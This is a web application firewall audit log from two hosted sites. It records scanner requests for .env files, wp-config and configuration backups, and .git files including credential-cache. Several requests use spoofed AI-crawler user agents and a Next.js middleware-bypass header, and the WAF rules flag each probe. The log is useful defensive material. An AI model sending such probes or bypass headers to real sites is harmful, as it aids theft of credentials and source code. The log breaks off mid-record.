[13/Sep/2026:11:13:54.481482 +0300] aqZbQmM7dE9KgIIOpQhxNQAAANE 34.21.80.87 37342 127.0.0.1 7081
--d97ea348-B--
GET /configuration.php.bak HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.21.80.87
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Qwenbot/1.0; +https://qwen.alibaba.com/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--d97ea348-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--d97ea348-E--

--d97ea348-H--
Message: Warning. Matched phrase "/configuration.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/configuration.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/configuration.php.bak"] [unique_id "aqZbQmM7dE9KgIIOpQhxNQAAANE"]
Stopwatch: 1789287234475765 5768 (- - -)
Stopwatch2: 1789287234475765 5768; combined=4493, p1=238, p2=4127, p3=68, p4=8, p5=52, sr=93, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--d97ea348-Z--

--740a1418-A--
[13/Sep/2026:11:13:54.936664 +0300] aqZbQmM7dE9KgIIOpQhxNgAAANM 34.21.80.87 37372 127.0.0.1 7081
--740a1418-B--
GET /.env.swp HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.21.80.87
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; GrokBot/1.0; +https://x.ai/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--740a1418-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--740a1418-E--

--740a1418-H--
Message: Warning. Pattern match "(\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:.env.swp||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:.env.swp||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "breveleyendatequila.com"] [uri "/.env.swp"] [unique_id "aqZbQmM7dE9KgIIOpQhxNgAAANM"]
Stopwatch: 1789287234930486 6248 (- - -)
Stopwatch2: 1789287234930486 6248; combined=4809, p1=298, p2=4377, p3=87, p4=8, p5=39, sr=148, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--740a1418-Z--

--4115c54a-A--
[13/Sep/2026:11:13:54.942702 +0300] aqZbQmM7dE9KgIIOpQhxNwAAANg 34.21.80.87 37374 127.0.0.1 7081
--4115c54a-B--
GET /public/.env HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.21.80.87
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Bravebot/1.0; +https://brave.com/search/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--4115c54a-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--4115c54a-E--

--4115c54a-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/public/.env"] [unique_id "aqZbQmM7dE9KgIIOpQhxNwAAANg"]
Stopwatch: 1789287234937230 5527 (- - -)
Stopwatch2: 1789287234937230 5527; combined=4279, p1=221, p2=3930, p3=61, p4=6, p5=61, sr=101, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--4115c54a-Z--

--17e2ba41-A--
[13/Sep/2026:11:13:54.993519 +0300] aqZbQmM7dE9KgIIOpQhxOAAAANY 34.21.80.87 37388 127.0.0.1 7081
--17e2ba41-B--
GET /wp/.env HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.21.80.87
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15 (Applebot/0.1)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--17e2ba41-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--17e2ba41-E--

--17e2ba41-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/wp/.env"] [unique_id "aqZbQmM7dE9KgIIOpQhxOAAAANY"]
Stopwatch: 1789287234986184 7403 (- - -)
Stopwatch2: 1789287234986184 7403; combined=6036, p1=1686, p2=4251, p3=55, p4=6, p5=38, sr=97, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--17e2ba41-Z--

--dd161441-A--
[13/Sep/2026:11:13:54.997311 +0300] aqZbQmM7dE9KgIIOpQhxOQAAAMM 34.21.80.87 37400 127.0.0.1 7081
--dd161441-B--
GET /storage/.env HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.21.80.87
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--dd161441-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--dd161441-E--

--dd161441-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/storage/.env"] [unique_id "aqZbQmM7dE9KgIIOpQhxOQAAAMM"]
Stopwatch: 1789287234991428 5936 (- - -)
Stopwatch2: 1789287234991428 5936; combined=4739, p1=322, p2=4302, p3=69, p4=9, p5=37, sr=202, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--dd161441-Z--

--d229f87f-A--
[13/Sep/2026:11:13:55.007512 +0300] aqZbQ2M7dE9KgIIOpQhxOgAAAMg 34.21.80.87 37406 127.0.0.1 7081
--d229f87f-B--
GET /web/.env HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.21.80.87
X-Accel-Internal: /internal-nginx-static-location
User-Agent: DuckAssistBot/1.1 (https://duckduckgo.com/duckassistbot)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--d229f87f-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--d229f87f-E--

--d229f87f-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/web/.env"] [unique_id "aqZbQ2M7dE9KgIIOpQhxOgAAAMg"]
Stopwatch: 1789287235001715 5956 (- - -)
Stopwatch2: 1789287235001715 5956; combined=4535, p1=240, p2=4190, p3=64, p4=6, p5=35, sr=105, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--d229f87f-Z--

--214ec91c-A--
[13/Sep/2026:11:13:57.627865 +0300] aqZbRWM7dE9KgIIOpQhxPgAAAMI 34.21.80.87 50932 127.0.0.1 7081
--214ec91c-B--
GET /wp-config.php~ HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.21.80.87
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; OAI-SearchBot/1.0; +https://openai.com/searchbot)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--214ec91c-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--214ec91c-E--

--214ec91c-H--
Message: Warning. Matched phrase "wp-config.php~" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php~||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "wp-config.php~" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/wp-config.php~||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. Pattern match "(\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:wp-config.php~||"] [severity "NOTICE"] [tag "service_i360custom"]
Message: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php~" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php~||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "breveleyendatequila.com"] [uri "/wp-config.php~"] [unique_id "aqZbRWM7dE9KgIIOpQhxPgAAAMI"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php~" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/wp-config.php~||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/wp-config.php~"] [unique_id "aqZbRWM7dE9KgIIOpQhxPgAAAMI"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:wp-config.php~||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "breveleyendatequila.com"] [uri "/wp-config.php~"] [unique_id "aqZbRWM7dE9KgIIOpQhxPgAAAMI"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/wp-config.php~"] [unique_id "aqZbRWM7dE9KgIIOpQhxPgAAAMI"]
Stopwatch: 1789287237592746 35196 (- - -)
Stopwatch2: 1789287237592746 35196; combined=33709, p1=327, p2=33215, p3=79, p4=15, p5=72, sr=140, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--214ec91c-Z--

--7c943b46-A--
[13/Sep/2026:11:13:57.635174 +0300] aqZbRSsVWymXUono-eRUQQAAAAI 34.21.80.87 50944 127.0.0.1 7081
--7c943b46-B--
GET /wp-config.php.swp HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.21.80.87
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +claudebot@anthropic.com)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--7c943b46-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--7c943b46-E--

--7c943b46-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.swp||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/wp-config.php.swp||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. Pattern match "(\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:wp-config.php.swp||"] [severity "NOTICE"] [tag "service_i360custom"]
Message: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.swp||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "breveleyendatequila.com"] [uri "/wp-config.php.swp"] [unique_id "aqZbRSsVWymXUono-eRUQQAAAAI"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/wp-config.php.swp||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/wp-config.php.swp"] [unique_id "aqZbRSsVWymXUono-eRUQQAAAAI"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:wp-config.php.swp||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "breveleyendatequila.com"] [uri "/wp-config.php.swp"] [unique_id "aqZbRSsVWymXUono-eRUQQAAAAI"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/wp-config.php.swp"] [unique_id "aqZbRSsVWymXUono-eRUQQAAAAI"]
Stopwatch: 1789287237600103 35121 (- - -)
Stopwatch2: 1789287237600103 35121; combined=33876, p1=227, p2=33525, p3=64, p4=6, p5=53, sr=100, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--7c943b46-Z--

--8876d661-A--
[13/Sep/2026:11:17:12.648133 +0300] aqZcCGM7dE9KgIIOpQhxTwAAANI 172.86.81.63 52516 127.0.0.1 7081
--8876d661-B--
GET /.git/logs/refs/remotes/origin/HEAD HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip

--8876d661-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--8876d661-H--
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/logs/refs/remotes/origin/head||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/logs/refs/remotes/origin/head||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.git/logs/refs/remotes/origin/HEAD"] [unique_id "aqZcCGM7dE9KgIIOpQhxTwAAANI"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287432307741 340441 (- - -)
Stopwatch2: 1789287432307741 340441; combined=13127, p1=243, p2=12814, p3=0, p4=0, p5=70, sr=95, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--8876d661-Z--

--c9cae564-A--
[13/Sep/2026:11:17:12.774158 +0300] aqZcCGM7dE9KgIIOpQhxUAAAANM 172.86.81.63 52526 127.0.0.1 7081
--c9cae564-B--
GET /.git/refs/heads/master HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip

--c9cae564-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--c9cae564-H--
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/refs/heads/master||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/refs/heads/master||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.git/refs/heads/master"] [unique_id "aqZcCGM7dE9KgIIOpQhxUAAAANM"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287432316449 457761 (- - -)
Stopwatch2: 1789287432316449 457761; combined=8902, p1=253, p2=8589, p3=0, p4=0, p5=59, sr=126, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--c9cae564-Z--

--6de17f10-A--
[13/Sep/2026:11:17:12.810466 +0300] aqZcCGM7dE9KgIIOpQhxVgAAANY 172.86.81.63 52588 127.0.0.1 7081
--6de17f10-B--
GET /.git/HEAD HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip

--6de17f10-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--6de17f10-H--
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/head||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/head||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.git/HEAD"] [unique_id "aqZcCGM7dE9KgIIOpQhxVgAAANY"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287432388884 421632 (- - -)
Stopwatch2: 1789287432388884 421632; combined=39466, p1=184, p2=39226, p3=0, p4=0, p5=56, sr=80, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--6de17f10-Z--

--f42c2942-A--
[13/Sep/2026:11:17:12.813993 +0300] aqZcCGM7dE9KgIIOpQhxWQAAAM8 172.86.81.63 52612 127.0.0.1 7081
--f42c2942-B--
GET /.git/credential-cache HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip

--f42c2942-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--f42c2942-H--
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/credential-cache||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/credential-cache||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.git/credential-cache"] [unique_id "aqZcCGM7dE9KgIIOpQhxWQAAAM8"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287432446557 367484 (- - -)
Stopwatch2: 1789287432446557 367484; combined=4169, p1=269, p2=3832, p3=0, p4=0, p5=68, sr=98, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--f42c2942-Z--

--96663c32-A--
[13/Sep/2026:11:17:12.982060 +0300] aqZcCCsVWymXUono-eRURAAAAAc 172.86.81.63 52634 127.0.0.1 7081
--96663c32-B--
GET /.git/description HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip

--96663c32-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
